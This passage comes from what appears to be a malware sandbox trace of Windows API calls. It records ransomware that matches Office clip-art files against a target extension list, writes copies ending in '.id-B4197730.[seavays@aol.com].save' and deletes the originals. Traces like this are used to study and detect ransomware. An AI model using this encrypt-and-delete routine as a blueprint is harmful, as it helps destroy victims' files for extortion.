Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.477] lstrlenW (lpString=".zip") returned 4 [0177.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.477] lstrlenW (lpString=".rar") returned 4 [0177.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString=".bz2") returned 4 [0177.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString=".7z") returned 3 [0177.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.477] lstrlenW (lpString=".dbf") returned 4 [0177.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.477] lstrlenW (lpString=".1cd") returned 4 [0177.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.477] lstrlenW (lpString=".jpg") returned 4 [0177.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.478] lstrlenW (lpString=".doc") returned 4 [0177.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString=".docx") returned 5 [0177.478] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.478] lstrlenW (lpString=".pdf") returned 4 [0177.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString=".xls") returned 4 [0177.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.478] lstrlenW (lpString=".xlsx") returned 5 [0177.478] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.478] lstrlenW (lpString=".ppt") returned 4 [0177.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.478] lstrlenW (lpString=".zip") returned 4 [0177.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.478] lstrlenW (lpString=".rar") returned 4 [0177.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString=".bz2") returned 4 [0177.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.478] lstrlenW (lpString=".7z") returned 3 [0177.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.479] lstrlenW (lpString=".dbf") returned 4 [0177.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.479] lstrlenW (lpString=".1cd") returned 4 [0177.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68 [0177.479] lstrlenW (lpString=".jpg") returned 4 [0177.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.479] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.479] lstrlenW (lpString="J0145373.JPG") returned 12 [0177.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.481] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=17867) returned 1 [0177.481] CloseHandle (hObject=0x51c) returned 1 [0177.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 0x220 [0177.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.482] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.482] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.483] GetLastError () returned 0x0 [0177.483] ReadFile (in: hFile=0x51c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x45cb, lpOverlapped=0x0) returned 1 [0177.485] WriteFile (in: hFile=0x370, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x45d0, lpOverlapped=0x0) returned 1 [0177.486] ReadFile (in: hFile=0x51c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.486] WriteFile (in: hFile=0x370, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.487] SetEndOfFile (hFile=0x370) returned 1 [0177.487] CloseHandle (hObject=0x370) returned 1 [0177.487] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.487] SetEndOfFile (hFile=0x51c) returned 1 [0177.491] CloseHandle (hObject=0x51c) returned 1 [0177.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0177.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.493] lstrlenW (lpString=".doc") returned 4 [0177.493] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.493] lstrlenW (lpString=".docx") returned 5 [0177.493] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.493] lstrlenW (lpString=".pdf") returned 4 [0177.493] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.493] lstrlenW (lpString=".xls") returned 4 [0177.493] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.493] lstrlenW (lpString=".xlsx") returned 5 [0177.493] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.493] lstrlenW (lpString=".ppt") returned 4 [0177.493] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.493] lstrlenW (lpString=".zip") returned 4 [0177.493] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.493] lstrlenW (lpString=".rar") returned 4 [0177.493] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.493] lstrlenW (lpString=".bz2") returned 4 [0177.493] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.493] lstrlenW (lpString=".7z") returned 3 [0177.493] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.493] lstrlenW (lpString=".dbf") returned 4 [0177.493] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.493] lstrlenW (lpString=".1cd") returned 4 [0177.494] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.494] lstrlenW (lpString=".jpg") returned 4 [0177.494] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.494] lstrlenW (lpString=".doc") returned 4 [0177.494] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.494] lstrlenW (lpString=".docx") returned 5 [0177.494] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.494] lstrlenW (lpString=".pdf") returned 4 [0177.494] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.494] lstrlenW (lpString=".xls") returned 4 [0177.494] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.494] lstrlenW (lpString=".xlsx") returned 5 [0177.494] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.494] lstrlenW (lpString=".ppt") returned 4 [0177.494] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.494] lstrlenW (lpString=".zip") returned 4 [0177.494] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.494] lstrlenW (lpString=".rar") returned 4 [0177.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.494] lstrlenW (lpString=".bz2") returned 4 [0177.494] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.494] lstrlenW (lpString=".7z") returned 3 [0177.494] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.494] lstrlenW (lpString=".dbf") returned 4 [0177.495] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.495] lstrlenW (lpString=".1cd") returned 4 [0177.495] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145373.JPG") returned 68 [0177.495] lstrlenW (lpString=".jpg") returned 4 [0177.495] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.495] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.495] lstrlenW (lpString="J0145669.JPG") returned 12 [0177.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.496] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=31850) returned 1 [0177.496] CloseHandle (hObject=0x51c) returned 1 [0177.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220 [0177.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.497] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.497] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.498] GetLastError () returned 0x0 [0177.498] ReadFile (in: hFile=0x51c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0177.501] WriteFile (in: hFile=0x370, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x7c70, lpOverlapped=0x0) returned 1 [0177.502] ReadFile (in: hFile=0x51c, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.502] WriteFile (in: hFile=0x370, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.502] SetEndOfFile (hFile=0x370) returned 1 [0177.503] CloseHandle (hObject=0x370) returned 1 [0177.503] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.503] SetEndOfFile (hFile=0x51c) returned 1 [0177.506] CloseHandle (hObject=0x51c) returned 1 [0177.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0177.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.508] lstrlenW (lpString=".doc") returned 4 [0177.508] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.508] lstrlenW (lpString=".docx") returned 5 [0177.508] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0177.508] lstrlenW (lpString=".pdf") returned 4 [0177.508] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.508] lstrlenW (lpString=".xls") returned 4 [0177.508] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.508] lstrlenW (lpString=".xlsx") returned 5 [0177.508] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0177.508] lstrlenW (lpString=".ppt") returned 4 [0177.508] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString=".zip") returned 4 [0177.509] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.509] lstrlenW (lpString=".rar") returned 4 [0177.509] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.509] lstrlenW (lpString=".bz2") returned 4 [0177.509] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.509] lstrlenW (lpString=".7z") returned 3 [0177.509] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString=".dbf") returned 4 [0177.509] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString=".1cd") returned 4 [0177.509] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString=".jpg") returned 4 [0177.509] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.509] lstrlenW (lpString=".doc") returned 4 [0177.510] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.510] lstrlenW (lpString=".docx") returned 5 [0177.510] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0177.510] lstrlenW (lpString=".pdf") returned 4 [0177.510] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.510] lstrlenW (lpString=".xls") returned 4 [0177.510] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.510] lstrlenW (lpString=".xlsx") returned 5 [0177.510] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0177.510] lstrlenW (lpString=".ppt") returned 4 [0177.510] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.510] lstrlenW (lpString=".zip") returned 4 [0177.510] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.510] lstrlenW (lpString=".rar") returned 4 [0177.510] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.510] lstrlenW (lpString=".bz2") returned 4 [0177.510] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.510] lstrlenW (lpString=".7z") returned 3 [0177.510] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.510] lstrlenW (lpString=".dbf") returned 4 [0177.510] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.510] lstrlenW (lpString=".1cd") returned 4 [0177.510] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0177.510] lstrlenW (lpString=".jpg") returned 4 [0177.510] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.511] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.511] lstrlenW (lpString="J0145707.JPG") returned 12 [0177.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.800] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=36820) returned 1 [0177.800] CloseHandle (hObject=0x51c) returned 1 [0177.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0177.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0178.021] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.021] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.023] GetLastError () returned 0x0 [0178.023] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0178.028] WriteFile (in: hFile=0x518, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0178.030] ReadFile (in: hFile=0x344, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.030] WriteFile (in: hFile=0x518, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.031] SetEndOfFile (hFile=0x518) returned 1 [0178.031] CloseHandle (hObject=0x518) returned 1 [0178.031] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.031] SetEndOfFile (hFile=0x344) returned 1 [0178.036] CloseHandle (hObject=0x344) returned 1 [0178.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0178.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.038] lstrlenW (lpString=".doc") returned 4 [0178.038] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.038] lstrlenW (lpString=".docx") returned 5 [0178.038] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0178.039] lstrlenW (lpString=".pdf") returned 4 [0178.039] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.039] lstrlenW (lpString=".xls") returned 4 [0178.039] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.039] lstrlenW (lpString=".xlsx") returned 5 [0178.039] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0178.039] lstrlenW (lpString=".ppt") returned 4 [0178.039] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0178.039] lstrlenW (lpString=".zip") returned 4 [0178.039] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.039] lstrlenW (lpString=".rar") returned 4 [0178.039] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.039] lstrlenW (lpString=".bz2") returned 4 [0178.039] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.039] lstrlenW (lpString=".7z") returned 3 [0178.039] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.039] lstrlenW (lpString="C:\\Program Files\\Microsoft 